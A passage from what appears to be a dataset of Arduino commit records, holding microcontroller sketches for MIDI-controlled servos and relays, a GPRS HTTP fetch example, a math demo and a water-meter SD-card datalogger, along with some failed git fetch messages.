(int)batter_voltage) * 100;\n sprintf(battery_temp,\"%0d.%0\", (int)batter_voltage, battery_reading1);\n \n \/\/google docs will get this variable - if you are storing the value in a google sheet\n sprintf(sharp_str, \"{\\\"t\\\":%s,%s}\", sharp_temp, battery_temp);\n \n if (Particle.connected() == false) {\n Particle.connect();\n }\n Particle.process();\n \n}\n\n\nint Pump(String command){ \/\/turn the pumps on and off\n if(command == \"ON\"){\n digitalWrite(D4, HIGH);\n digitalWrite(D7, HIGH); \/\/Debug only\n }else{\n digitalWrite(D7, HIGH); \/\/Debug only \n delay(1000);\n digitalWrite(D4, LOW);\n digitalWrite(D7, LOW); \/\/Debug only\n }\n \n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/Particle Functions\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examplers\/oas-0-2.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"a17dc003f4dcc07ec64befee41566e77806f21ec","subject":"All staff cards successfully updated and tested","message":"All staff cards successfully updated and tested\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/writer_test\/writer_test.ino","new_file":"unit tests\/writer_test\/writer_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/writer_test\/writer_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aabdc94bff73ad6b1a08a548e9ad194552d7b9d7","subject":"Uploaded ensemble five firmware","message":"Uploaded ensemble five firmware\n","repos":"Sonoscopia\/Phobos,Sonoscopia\/Phobos,Sonoscopia\/Phobos","old_file":"Firmeware\/EnsembleFive\/EnsembleFive.ino","new_file":"Firmeware\/EnsembleFive\/EnsembleFive.ino","new_contents":"\/* PHOBOS - EnsembleFive firmware v.0.2 (27.05.2017)\n * \n * using: \n * Arduino v1.8.0\n * MIDI_Library v.4.3.1 by fortyseveneffects\n * Servo Library v.1.1.2\n * EEPROM Library v.2.0.0\n * \n * plays: \n * A - 1 motor on a vynil with attached strings\n * B - 1 motor with loose strings \n * C - 3 servos plucking strings\n * D - 4 lights controlled by relays\n *\/\n\n#include <EEPROM.h>\n#include <Servo.h>\n#include <MIDI.h>\n#define MIDICH 5\n\n\/\/ VM VYNIL'S PINS\n#define A1 10\n\/\/ VM STRINGS' PINS\n#define B1 9\n\/\/ VM SERVOS' PINS\n#define C1 6\n#define C2 7\n#define C3 8\n\/\/ LIGHTS' PINS\n#define D1 2\n#define D2 3\n#define D3 4\n#define D4 5\n\n\/* Addresses on Arduino EEPROM for servo control parameters*\/\n#define S1MININC 0 \/\/ servo1 min increment (cc=116)\n#define S1MAXINC 1 \/\/ servo1 max increment (cc=117)\n\n#define S2MININC 2 \/\/ servo2 min increment (cc=118)\n#define S2MAXINC 3 \/\/ servo2 max increment (cc=119)\n\n#define S3MININC 4 \/\/ servo3 min increment (cc=120)\n#define S3MAXINC 5 \/\/ servo3 max increment (cc=121)\n\n\n#define S1MINANG 6 \/\/ servo1 min angle (cc=122)\n#define S1MAXANG 7 \/\/ servo1 max angle (cc=123)\n\n#define S2MINANG 8 \/\/ servo2 min angle (cc=124)\n#define S2MAXANG 9 \/\/ servo2 max angle (cc=125)\n\n#define S3MINANG 10 \/\/ servo3 min angle (cc=126)\n#define S3MAXANG 11 \/\/ servo3 max angle (cc=127)\n\n\/\/ servos\nServo servo1, servo2, servo3;\nbool servoState[3]; \/\/ servo state to control servos out of MIDI loop\nfloat servoPos[3]; \/\/ servo current position\n\/\/byte servoVel[3]; \/\/ servo \"velocity\" value which relates to movement speed\nfloat servoInc[3]; \/\/servo increment value which relates to movement speed\nfloat servoMinInc[3]; \/\/ servo min increment values \nfloat servoMaxInc[3]; \/\/ servo min increment values \nfloat servoMinAng[3]; \/\/ servo min angle\nfloat servoMaxAng[3]; \/\/ servo max angle \n\n\/\/ make note to pin array\nbyte note2pin[40];\nbyte vel, pitch, val, cc;\n\nMIDI_CREATE_DEFAULT_INSTANCE();\n\nvoid setup() {\n MIDI.begin(MIDICH); \/\/ Launch MIDI and listen to channel 1\n MIDI.turnThruOn();\n \n \/\/ set output pins\n pinMode(A1, OUTPUT);\n \n pinMode(B1, OUTPUT);\n \n servo1.attach(C1);\n servo2.attach(C2);\n servo3.attach(C3);\n\n pinMode(D1, OUTPUT);\n pinMode(D2, OUTPUT);\n pinMode(D3, OUTPUT);\n pinMode(D4, OUTPUT);\n \/\/ turn relays off\n digitalWrite(D1, HIGH); \n digitalWrite(D2, HIGH);\n digitalWrite(D3, HIGH); \n digitalWrite(D4, HIGH);\n \n \/\/ set servos to initial position\n servoPos[0] = midi2angle(EEPROM.read(S1MINANG));\n servo1.write(servoPos[0]);\n \n servoPos[1] = midi2angle(EEPROM.read(S2MINANG));\n servo2.write(servoPos[1]);\n \n servoPos[2] = midi2angle(EEPROM.read(S3MINANG));\n servo3.write(servoPos[2]);\n \n \/\/ set servos' min&max increment values\n \/\/ NOTE: min\/max inc values are between 0 and 127 (after mapped correspond to 0.1 to 10 degrees per millisecond)\n servoMinInc[0] = EEPROM.read(S1MININC);\n servoMaxInc[0] = EEPROM.read(S1MAXINC);\n\n servoMinInc[1] = EEPROM.read(S2MININC);\n servoMaxInc[1] = EEPROM.read(S2MAXINC);\n\n servoMinInc[2] = EEPROM.read(S3MININC);\n servoMaxInc[2] = EEPROM.read(S3MAXINC);\n \n \/\/ set servos0 min&max angle\n \/\/ NOTE: min\/max angle values are already converted to angles\n servoMinAng[0] = midi2angle( EEPROM.read(S1MINANG) );\n servoMaxAng[0] = midi2angle( EEPROM.read(S1MAXANG) );\n\n servoMinAng[1] = midi2angle( EEPROM.read(S2MINANG) );\n servoMaxAng[1] = midi2angle( EEPROM.read(S2MAXANG) );\n\n servoMinAng[2] = midi2angle( EEPROM.read(S3MINANG) );\n servoMaxAng[2] = midi2angle( EEPROM.read(S3MAXANG) );\n \n\n \/\/ set note2pin array\n note2pin[0] = A1;\n\n note2pin[12] = B1;\n\n note2pin[24] = C1;\n note2pin[25] = C2;\n note2pin[26] = C3;\n \n note2pin[36] = D1;\n note2pin[37] = D2;\n note2pin[38] = D3;\n note2pin[39] = D4;\n}\n\nvoid loop() {\n if(MIDI.read()){\n switch(MIDI.getType()){\n case midi::NoteOn:\n pitch = MIDI.getData1();\n vel = MIDI.getData2();\n \n if(pitch > 23){ \/\/ activate servos and relays\n if(pitch < 27){ \/\/ set servos' values only (activation is done in runServos function)\n servoInc[pitch-24] = velocity2inc( servoMinInc[pitch-24], servoMaxInc[pitch-24], vel);\n servoState[pitch-24] = true;\n }\n if(pitch > 35){ \/\/ activate relay\n digitalWrite(note2pin[pitch], LOW); \n }\n }\n else{ \/\/ activate motors\n analogWrite(note2pin[pitch], vel << 1); \n }\n break;\n\n case midi::NoteOff:\n pitch = MIDI.getData1();\n if(pitch > 23){ \n if(pitch < 27){ \/\/ deactivate servos\n servoState[pitch-24] = false; \n }\n if(pitch > 35){ \/\/ deactivate relays\n digitalWrite(note2pin[pitch], HIGH); \n } \n }\n else{ \/\/ deactivate motors\n analogWrite(note2pin[pitch], LOW);\n }\n break;\n \n \/\/ CONTROL CHANGE (SET SERVO PARAMETERS)\n case midi::ControlChange:\n cc = MIDI.getData1();\n val = MIDI.getData2();\n \/\/ starting on cc=116\n EEPROM.write(cc-116, val); \n }\n }\n \n runServos(); \/\/ activate servos \n delay(1); \/\/ (used only to set servo increments in a millisecond basis)\n}\n\n\/***************** FUNTCIONS *****************\/\nbyte voltage2byte(float v){\n return v*255\/5.f;\n} \n\nfloat midi2angle(byte m){\n return 180\/127.f*m;\n}\n\nfloat velocity2inc(byte _min, byte _max, byte v){ \/\/ translate velocity values into position increments usign a min\/max inc.\n return map(v, 0, 127, _min, _max); \n}\n\nvoid runServos(){\n \/\/ servo1 attack\n if( servoState[0]==true && servoPos[0] < servoMaxAng[0] ){\n servo1.write(servoPos[0]);\n servoPos[0] += servoInc[0];\n }\n \/\/ servo1 release \n else if (servoState[0] == false){\n servoPos[0] = servoMinAng[0]; \n servo1.write( servoPos[0] ); \n }\n\n \/\/ servo2 attack\n if( servoState[1]==true && servoPos[1] < servoMaxAng[1] ){\n servo2.write(servoPos[1]);\n servoPos[1] += servoInc[1];\n }\n \/\/ servo2 release \n else if (servoState[1] == false){\n servoPos[1] = servoMinAng[1]; \n servo2.write( servoPos[1] ); \n }\n\n \/\/ servo3 attack\n if( servoState[2]==true && servoPos[2] < servoMaxAng[2] ){\n servo3.write(servoPos[2]);\n servoPos[2] += servoInc[2];\n }\n \/\/ servo3 release \n else if (servoState[2] == false){\n servoPos[2] = servoMinAng[2]; \n servo3.write( servoPos[2] ); \n }\n}\n\nvoid updateServoParams(byte addr, byte val){\n switch(addr){\n case 116:\n servoMinInc[0] = val;\n break;\n case 117: \n servoMaxInc[0] = val;\n break;\n case 118:\n servoMinInc[1] = val;\n break;\n case 119:\n servoMaxInc[1] = val;\n break;\n case 120:\n servoMinInc[2] = val;\n break;\n case 121: \n servoMaxInc[2] = val;\n break;\n case 122:\n servoMinAng[0] = midi2angle(val);\n break;\n case 123: \n servoMaxAng[0] = midi2angle(val);\n break;\n case 124:\n servoMinAng[1] = midi2angle(val); \n break;\n case 125: \n servoMaxAng[1] = midi2angle(val);\n break;\n case 126:\n servoMinAng[2] = midi2angle(val);\n break;\n case 127:\n servoMaxAng[2] = midi2angle(val);\n break;\n\n default:\n break;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Firmeware\/EnsembleFive\/EnsembleFive.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9cfc32c19860e1c77b66fe5c0e80a783d4c05305","subject":"Add Ucglib-fonts demo.","message":"Add Ucglib-fonts demo.\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"Ucglib-fonts\/Ucglib-fonts.ino","new_file":"Ucglib-fonts\/Ucglib-fonts.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"63be94ab30f905e55641e3c79dd3ac620c28e58f","subject":"Version 0.7","message":"Version 0.7\n\nUpdate because changes in main files.","repos":"venusdharan\/GPRS_Shield_Suli,Seeed-Studio\/GPRS_Shield_Suli,venusdharan\/GPRS_Shield_Suli,Seeed-Studio\/GPRS_Shield_Suli","old_file":"examples\/GPRS_TCPConnection\/GPRS_TCPConnection.ino","new_file":"examples\/GPRS_TCPConnection\/GPRS_TCPConnection.ino","new_contents":"\n#include <GPRS_Shield_Arduino.h>\n#include <SoftwareSerial.h>\n#include <Wire.h>\n#include <Suli.h>\n\n#define PIN_TX 7\n#define PIN_RX 8\n\/\/make sure that the baud rate of SIM900 is 9600!\n\/\/you can use the AT Command(AT+IPR=9600) to set it through SerialDebug\n#define BAUDRATE 9600\n\nchar http_cmd[] = \"GET \/media\/uploads\/mbed_official\/hello.txt HTTP\/1.0\\r\\n\\r\\n\";\nchar buffer[512];\nGPRS gprs(PIN_TX, PIN_RX, BAUDRATE);\nvoid setup(){\n Serial.begin(9600);\n \/\/ use DHCP\n gprs.init();\n \/\/ attempt DHCP\n while(false == gprs.join(F(\"cmnet\"))) {\n Serial.println(\"gprs join network error\");\n delay(2000);\n }\n\n \/\/ successful DHCP\n Serial.print(\"IP Address is \");\n Serial.println(gprs.getIPAddress());\n\n if(false == gprs.connect(TCP,\"mbed.org\", 80)) {\n Serial.println(\"connect error\");\n }else{\n Serial.println(\"connect mbed.org success\");\n }\n\n Serial.println(\"waiting to fetch...\");\n gprs.send(http_cmd, sizeof(http_cmd)-1);\n while (true) {\n int ret = gprs.recv(buffer, sizeof(buffer)-1);\n if (ret <= 0){\n Serial.println(\"fetch over...\");\n break; \n }\n buffer[ret] = '\\0';\n Serial.print(\"Recv: \");\n Serial.print(ret);\n Serial.print(\" bytes: \");\n Serial.println(buffer);\n }\n gprs.close();\n gprs.disconnect();\n}\n\nvoid loop(){\n\n}\n","old_contents":"\n#include <GPRS_Shield_Arduino.h>\n#include <SoftwareSerial.h>\n#include <Wire.h>\n#include <Suli.h>\n\n#define PIN_TX 7\n#define PIN_RX 8\n\/\/make sure that the baud rate of SIM900 is 9600!\n\/\/you can use the AT Command(AT+IPR=9600) to set it through SerialDebug\n#define BAUDRATE 9600\n\nchar http_cmd[] = \"GET \/media\/uploads\/mbed_official\/hello.txt HTTP\/1.0\\r\\n\\r\\n\";\nchar buffer[512];\nGPRS gprs(PIN_TX, PIN_RX, BAUDRATE,\"cmnet\");\nvoid setup(){\n Serial.begin(9600);\n \/\/ use DHCP\n gprs.init();\n \/\/ attempt DHCP\n while(false == gprs.join()) {\n Serial.println(\"gprs join network error\");\n delay(2000);\n }\n\n \/\/ successful DHCP\n Serial.print(\"IP Address is \");\n Serial.println(gprs.getIPAddress());\n\n if(false == gprs.connect(TCP,\"mbed.org\", 80)) {\n Serial.println(\"connect error\");\n }else{\n Serial.println(\"connect mbed.org success\");\n }\n\n Serial.println(\"waiting to fetch...\");\n gprs.send(http_cmd, sizeof(http_cmd)-1);\n while (true) {\n int ret = gprs.recv(buffer, sizeof(buffer)-1);\n if (ret <= 0){\n Serial.println(\"fetch over...\");\n break; \n }\n buffer[ret] = '\\0';\n Serial.print(\"Recv: \");\n Serial.print(ret);\n Serial.print(\" bytes: \");\n Serial.println(buffer);\n }\n gprs.close();\n gprs.disconnect();\n}\n\nvoid loop(){\n\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"f573c9ae4a0f076658938f996378c2dd964d598d","subject":"and we will have further numbers","message":"and we will have further numbers\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"d4aa649d2e997585dcb6b387ab998805d2180729","subject":"Math sketch (functions all already implemented)","message":"Math sketch (functions all already implemented)\n\nChange-Id: I1e1310a1c6544164fe062e075f2c2195fc3969c9\nGitOrigin-RevId: 7e4032fc12fa9bab3d523a3a9350bc3c507e4d46\n","repos":"google-coral\/coralmicro,google-coral\/coralmicro,google-coral\/coralmicro,google-coral\/coralmicro,google-coral\/coralmicro","old_file":"sketches\/Math\/Math.ino","new_file":"sketches\/Math\/Math.ino","new_contents":"#include \"Arduino.h\"\n\nvoid setup() {\n Serial.begin(115200);\n}\n\nvoid loop() {\n Serial.print(\"abs(4): \");\n Serial.println(abs(4));\n Serial.print(\"abs(-4): \");\n Serial.println(abs(-4));\n\n Serial.print(\"contrain 4 to [1,3]: \");\n Serial.println(constrain(4,1,3));\n Serial.print(\"contrain -4 to [1,3]: \");\n Serial.println(constrain(-4,1,3));\n\n Serial.print(\"map(512, 0, 1023, 0, 254): \");\n Serial.println(map(512, 0, 1023, 0, 254));\n\n Serial.print(\"max [-2,2]: \");\n Serial.println(max(-2,2));\n Serial.print(\"min [-2,2]: \");\n Serial.println(min(-2,2));\n\n Serial.print(\"pow (2,2): \");\n Serial.println(pow(2,2));\n\n Serial.print(\"sq(2): \");\n Serial.println(sq(2));\n\n Serial.print(\"sqrt 4: \");\n Serial.println(sqrt(4));\n\n Serial.print(\"sin(0): \");\n Serial.println(sin(0));\n Serial.print(\"sin(pi\/4): \");\n Serial.println(sin(PI \/ 4));\n Serial.print(\"sin(pi\/2): \");\n Serial.println(sin(PI \/ 2));\n\n Serial.print(\"cos(0): \");\n Serial.println(cos(0));\n Serial.print(\"cos(pi\/4): \");\n Serial.println(cos(PI \/ 4));\n Serial.print(\"cos(pi\/2): \");\n Serial.println(cos(PI \/ 2));\n\n Serial.print(\"tan(0): \");\n Serial.println(tan(0));\n Serial.print(\"tan(pi\/4): \");\n Serial.println(tan(PI \/ 4));\n\n delay(10000);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/Math\/Math.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1121bd799cfd275a89b26c49cbd6da3caab073c1","subject":"Create Firmware_Test.ino","message":"Create Firmware_Test.ino","repos":"UCHIC\/WaterMonitor","old_file":"src\/piggy_back_loggers\/SD_prototype_Firmware\/Firmware_Test\/Firmware_Test.ino","new_file":"src\/piggy_back_loggers\/SD_prototype_Firmware\/Firmware_Test\/Firmware_Test.ino","new_contents":"\/\/ Firmware for the CIWS Residential Datalogger\n\/\/ Arduino IDE ver. 1.8.7\n\/\/ Utah Water Research Lab\n\/\/ Updated: 10\/25\/2018\n\/\/ Daniel Henshaw and Josh Tracy\n\/\/ Note: F(\"String\") keeps string literals in program memory and out of RAM. Saves RAM space. Very good. Don't remove the F. I know it looks funny. But don't do it. Really. The program might crash if you do. And then you'll have dishonor on yourself, dishonor on your cow...\n\n\/*******************************************************************************************\\\n* Hardware Description\n* ___________________ ___\n* | |<------------------------->[___] RTC \n* ________ | | _______\n* | | | |<------------------------->| | SD\n* | |<------->| |<-----[] Activate Serial |______\/\n* |________| |___________________|<-----[] Sensor\n* Serial Controller\n* \n* Serial: Serial interface for user interaction with the logger\n* Controller: Arduino Pro\/Pro Mini (used for SD library and lower power options)\n* SD: External SD Card storage for the logger.\n* Activate Serial: Button to wake up the controller and activate the Serial interface\n* Sensor: Hall Effect Sensor for logging pulses from water meters.\n* RTC: Real Time Clock to track time and wake up controller every four seconds.\n\\*******************************************************************************************\/\n\n\/*********************************************************\\\n* Software Description\n* Overview: \n* User inputs:\n* Serial input.\n* Device outputs:\n* Serial output\n* Datalog file\n* \n* Structure:\n* 1. Setup\n* 2. Handle Serial (for start-up configuration)\n* 3. Loop\n* If serial is enabled\n* Handle serial input\n* If four seconds are up\n* Update the time\n* Construct a timestamp\n* Power-on the SD card\n* Write data\n* Power-off the SD card\n* If sleep is enabled (disabled when serial is enabled)\n* Enter Sleep (low-power mode)\n* < Will wake up on Interrupt and continue: >\n* Repeat Loop\n* \n* Interrupts:\n* 1. INT0_ISR()\n* \n* 2. INT1_ISR()\n* \n\\*********************************************************\/\n\n#include <SPI.h>\n#include <SD.h>\n#include \"handleSerial.h\"\n#include \"powerSleep.h\"\n#include \"state.h\"\n#include \"RTC_PCF8523.h\"\n#include \"storeNewRecord.h\"\n\n\/\/ These six macros below are the ten's place mask for the various real time clock registers\n#define SECONDS_REG_MASK 0x7 \/\/ keep lower 3 bits\n#define MINUTES_REG_MASK 0x7\n#define HOURS_REG_MASK 0x3 \/\/ keep lower 2 bits\n#define DAYS_REG_MASK 0x3\n#define MONTHS_REG_MASK 0x1 \/\/ keep lower 1 bit\n#define YEARS_REG_MASK 0xF \/\/ keep all four bits\n\n\n\/*********************************************************************************\\\n * Setup:\n * System State structure Complete\n * Setup Digital I\/O pins\n * Pin 2 (INT0)\n * Pin 3 (INT1)\n * Pin 4 (SD power on\/off)\n * Pin 5 (Serial Activate Button)\n * Setup interrupts\n\\*********************************************************************************\/\n\nvolatile State_t State; \/\/ System State structure\nDate_t Date; \/\/ System Time and Date structure\nFile dataFile; \/\/ File pointer for SD Card operations\n\nvoid setup() \n{\n resetState(&State); \/\/ Setup the System State structure\n \n pinMode(2, INPUT); \/\/ Setup the Digital Pins \n pinMode(3, INPUT);\n pinMode(4, OUTPUT);\n digitalWrite(4, HIGH);\n pinMode(5, INPUT);\n\n rtcTransfer(reg_Tmr_CLKOUT_ctrl, WRITE, 0x3A); \/\/ Setup RTC Timer\n rtcTransfer(reg_Tmr_A_freq_ctrl, WRITE, 0x02);\n rtcTransfer(reg_Tmr_A_reg, WRITE, 0x04);\n rtcTransfer(reg_Control_2, WRITE, 0x02);\n\n attachInterrupt(digitalPinToInterrupt(2), INT0_ISR, FALLING); \/\/ Setup Interrupts\n attachInterrupt(digitalPinToInterrupt(3), INT1_ISR, FALLING);\n EIMSK &= ~(1 << INT0); \/\/ Disable Hall Effect Sensor interrupt\n EIMSK |= (1 << INT1); \/\/ Enable 4-Second RTC interrupt.\n \n loadDateTime(&Date); \/\/ Load Date_t with Date\/Time info\n \n disableUnneededPeripherals(); \/\/ Disable unneeded peripherals\n}\n\nvoid loop() \n{\n \/\/ JOSH\n \/*****************************************\\\n * ButtonCheck: Is the button pressed?\n * If button is pressed (active-low):\n * Set serialOn flag.\n * call serialPowerUp()\n \\*****************************************\/ \n if((digitalRead(5) == 0) && !State.serialOn)\n {\n State.serialOn = true;\n serialPowerUp();\n }\n \n \/\/ JOSH\n \/*****************************************\\\n * Serial: User I\/O over serial\n * serialOn flag is set:\n * call function handleSerial();\n \\*****************************************\/\n if(State.serialOn)\n handleSerial(&State, &Date);\n\n \/\/ DANIEL\n \/*****************************************\\\n * 4-second update: Update at 4 seconds\n * If 4-second flag is set:\n * Store a new record\n \\*****************************************\/\n if(State.flag4)\n {\n State.flag4 = 0; \/\/ Reset flag4 to zero\n rtcTransfer(reg_Control_2, WRITE, 0x02); \/\/ Reset real time clock interrupt flag\n loadDateTime(&Date);\n if(State.logging)\n storeNewRecord();\n }\n \/\/ JOSH\n \/*****************************************\\\n * Sleep: put processor to sleep\n * to be woken by interrupts\n * If serialOn is not set:\n * call function Sleep();\n \\*****************************************\/\n if(!State.serialOn)\n enterSleep();\n}\n\n\/\/ DANIEL\n\/* Function Title: INT0_ISR()\n * \n * Friendly Name: Sensor Interrupt Service Routine (ISR)\n * \n * Description: increments the value of the pulse count variable by one, each time this \n * function is called by hardware.\n *\/\nvoid INT0_ISR()\n{\n State.pulseCount += 1; \/\/ increment pulseCount variable by one\n}\n\n\/\/ DANIEL\n\/* Function Title: INT1_ISR()\n * \n * Friendly Name: Real Time Clock OUT Interrupt Service Routine (ISR)\n * \n * Description: sets the 4-second flag to true each time this function\n * is called by hardware. The Real Time Clock generates\n * the signal that calls this ISR once every four seconds.\n *\/\nvoid INT1_ISR()\n{\n State.flag4 = true; \/\/ sets the \"four second flag\" to true\n}\n\n\/* Function: storeNewRecord\n * \n * Author: Daniel Henshaw \n * Date: 11\/10\/18 \n * \n * Description: This function gets the current time from the Real Time Clock, and then \n * carries out the communication to write a new record to the SD card and \n * then turns off the I2C and SD card.\n * \n * Pseudocode: \n * \n * Begin\n * Reset flag4 to zero\n * Reset real time clock interrupt flag\n * Declare variables\n * Store pulse count to a variable named final count\n * Set pulseCount to zero\n * Read current time from the Real Time Clock and update the Date struct with the current time\n * turn on the I2C interface (function rtcTransfer does this for us)\n * read the year and store into temp variable \n * convert from binary-coded decimal into binary, and store into years field of Date struct\n * read the month and store into temp variable \n * convert from binary-coded decimal into binary, and store into months field of Date struct\n * read the day and store into temp variable \n * convert from binary-coded decimal into binary, and store into days field of Date struct\n * read the hour and store into temp variable \n * convert from binary-coded decimal into binary, and store into hours field of Date struct\n * read the minutes and store into temp variable \n * convert from binary-coded decimal into binary, and store into minutes field of Date struct\n * read the seconds and store into temp variable \n * convert from binary-coded decimal into binary, and store into seconds field of Date struct \n * turn off the I2C interface (function rtcTransfer does this for us)\n * Write the new record to the SD card \n * power on SD card\n * write new record to SD card \n * open the date-time string by writing a double quotation mark\n * write year, month, day, hours, \n * if minutes is less than ten\n * then\n * write a leading zero (the minutes value will be appended to it by the next statement)\n * endIf \n * write the minutes \n * if seconds is less than ten\n * then\n * write a leading zero (the seconds value will be appended to it by the next statement)\n * endIf \n * write the seconds\n * close the date-time string by writing a double quotation mark\n * write a comma to begin a new field (CSV file format)\n * write the record number \n * write a comma to begin a new field (CSV file format)\n * write the number of pulses counted when function was called (finalCount)\n * end of writing the record to SD card \n * power down SD card \n * End of function storeNewRecord() \n *\/\n\n\n\nvoid storeNewRecord() \n{ \/\/ Begin\n \/\/State.flag4 = 0; \/\/ Reset flag4 to zero\n \/\/rtcTransfer(reg_Control_2, WRITE, 0x02); \/\/ Reset real time clock interrupt flag\n byte finalCount; \/\/ Declare variables\n byte temp;\n finalCount = State.pulseCount; \/\/ Store pulse count to a variable named final count\n State.pulseCount = 0; \/\/ Set pulseCount to zero\n \/\/ Read current time from the Real Time Clock and update the Date struct with the current time \n temp = rtcTransfer(reg_Years, READ, 0); \/\/ read the Years and store into temp variable\n Date.years = bcdtobin(temp, YEARS_REG_MASK); \/\/ convert from binary-coded decimal into binary, and store into years field of Date struct\n temp = rtcTransfer(reg_Months, READ, 0); \/\/ read the Months and store into temp variable\n Date.months = bcdtobin(temp, MONTHS_REG_MASK); \/\/ convert from binary-coded decimal into binary, and store into months field of Date struct\n temp = rtcTransfer(reg_Days, READ, 0); \/\/ read the Days and store into temp variable\n Date.days = bcdtobin(temp, DAYS_REG_MASK); \/\/ convert from binary-coded decimal into binary, and store into days field of Date struct\n temp = rtcTransfer(reg_Hours, READ, 0); \/\/ read the Hours and store into temp variable\n Date.hours = bcdtobin(temp, HOURS_REG_MASK); \/\/ convert from binary-coded decimal into binary, and store into hours field of Date struct \n temp = rtcTransfer(reg_Minutes,READ, 0); \/\/ read the Minutes and store into temp variable \n Date.minutes = bcdtobin(temp, MINUTES_REG_MASK); \/\/ convert from binary-coded decimal into binary, and store into minutes field of Date struct \n temp = rtcTransfer(reg_Seconds,READ, 0); \/\/ read the Seconds and store into temp variable \n Date.seconds = bcdtobin(temp, SECONDS_REG_MASK); \/\/ convert from binary-coded decimal into binary, and store into seconds field of Date struct \n \/\/ Write the new record to the SD card \n \/\/SDPowerUp(); \/\/ power on SD card\n \/\/SD.begin();\n \/\/Serial.println(F(\"SD Powerd up.\"));\n dataFile = SD.open(F(\"datalog.csv\"), FILE_WRITE); \/\/ Write new record to SD card \n dataFile.print('\\\"'); \/\/ open the date-time string by writing a double quotation mark\n dataFile.print(Date.years); \/\/ write year, month, day, hours \n dataFile.print('-');\n dataFile.print(Date.months);\n dataFile.print('-');\n dataFile.print(Date.days);\n dataFile.print(' ');\n dataFile.print(Date.hours);\n dataFile.print(':');\n if(Date.minutes < 10) \/\/ if minutes is less than ten\n { \/\/ then\n dataFile.print('0'); \/\/ write a leading zero (the minutes value will be appended to it by the next statement) \n } \/\/ endIf\n dataFile.print(Date.minutes); \/\/ write the minutes \n if(Date.seconds < 10) \/\/ if seconds is less than ten\n { \/\/ then\n dataFile.print('0'); \/\/ write a leading zero (the seconds value will be appended to it by the next statement)\n } \/\/ endIf\n dataFile.print(':'); \/\/ write a colon to separate minutes from seconds\n dataFile.print(Date.seconds); \/\/ write the seconds\n dataFile.print('\\\"'); \/\/ close date-time string by writing a double quotation mark \n dataFile.print(','); \/\/ write a comma to begin a new field (CSV file format)\n dataFile.print(State.recordNum); \/\/ write the record number\n dataFile.print(','); \/\/ write a comma to begin a new field (CSV file format)\n dataFile.println(finalCount); \/\/ write the number of pulses counted when function was called (finalCount) and then print a new line\n \n dataFile.close(); \/\/ end of writing the record to SD card \n State.recordNum += 1;\n \/\/SDPowerDown(); \/\/ power down SD card\n} \/\/ End of function storeNewRecord() \n\n\n\n\n\n\n\/* Function: bcdtobin\n * \n * Author: Daniel Henshaw \n * Date: 11\/17\/18 \n * \n * Description: This function converts Binary Coded Decimal (BCD) numbers to \n * standard binary format. This is particularly useful when working\n * with the real time clock, which stores time data in BCD format\n * in its registers. The function takes in the value to convert, and\n * the source register the value is coming from. The source register\n * is required so that the conversion will be compatible with the \n * number of bits into which the BCD value is stored into the RTC's\n * registers.\n *\n * Optional dependencies: set of macro definitions, included below, improve\n * this function's usability or user friendliness. These make it\n * straightforward for the user to specify from which register\n * the data is coming from. These also do double duty as masks for the \n * value, as not all 8 bits in the register are for the BCD value; some \n * of the upper bits serve other purposes or are \"unused\" \n * (see datasheet for PCF8523 by NXP).\n * \n * #define SECONDS_REG_MASK 0x7\n * #define MINUTES_REG_MASK 0x7\n * #define HOURS_REG_MASK 0x3\n * #define DAYS_REG_MASK 0x3\n * #define MONTHS_REG_MASK 0x1\n * #define YEARS_REG_MASK 0xF\n *\n * Pseudocode: \n * \n * Begin\n * Declare variable\n * shift right by four the bcdValue (Puts upper 4 bits at the bottom)\n * tensPlace is tensPlace ANDed with the provided bit mask a.k.a. conversion constant (hexadecimal value)\n * Return the binary value result (the unit's place plus tensPlace times ten)\n * End \n *\/\n\nbyte bcdtobin(byte bcdValue, byte sourceReg)\n{\n byte tensPlace;\n \n tensPlace = bcdValue >> 4;\n tensPlace &= sourceReg; \/* NOTE: sourceReg is actually a bit mask *\/\n\n return (bcdValue & 0x0F) + (tensPlace * 10); \/\/ return the binary value result: \n \/\/ step 1) First parenthesis: bcdValue 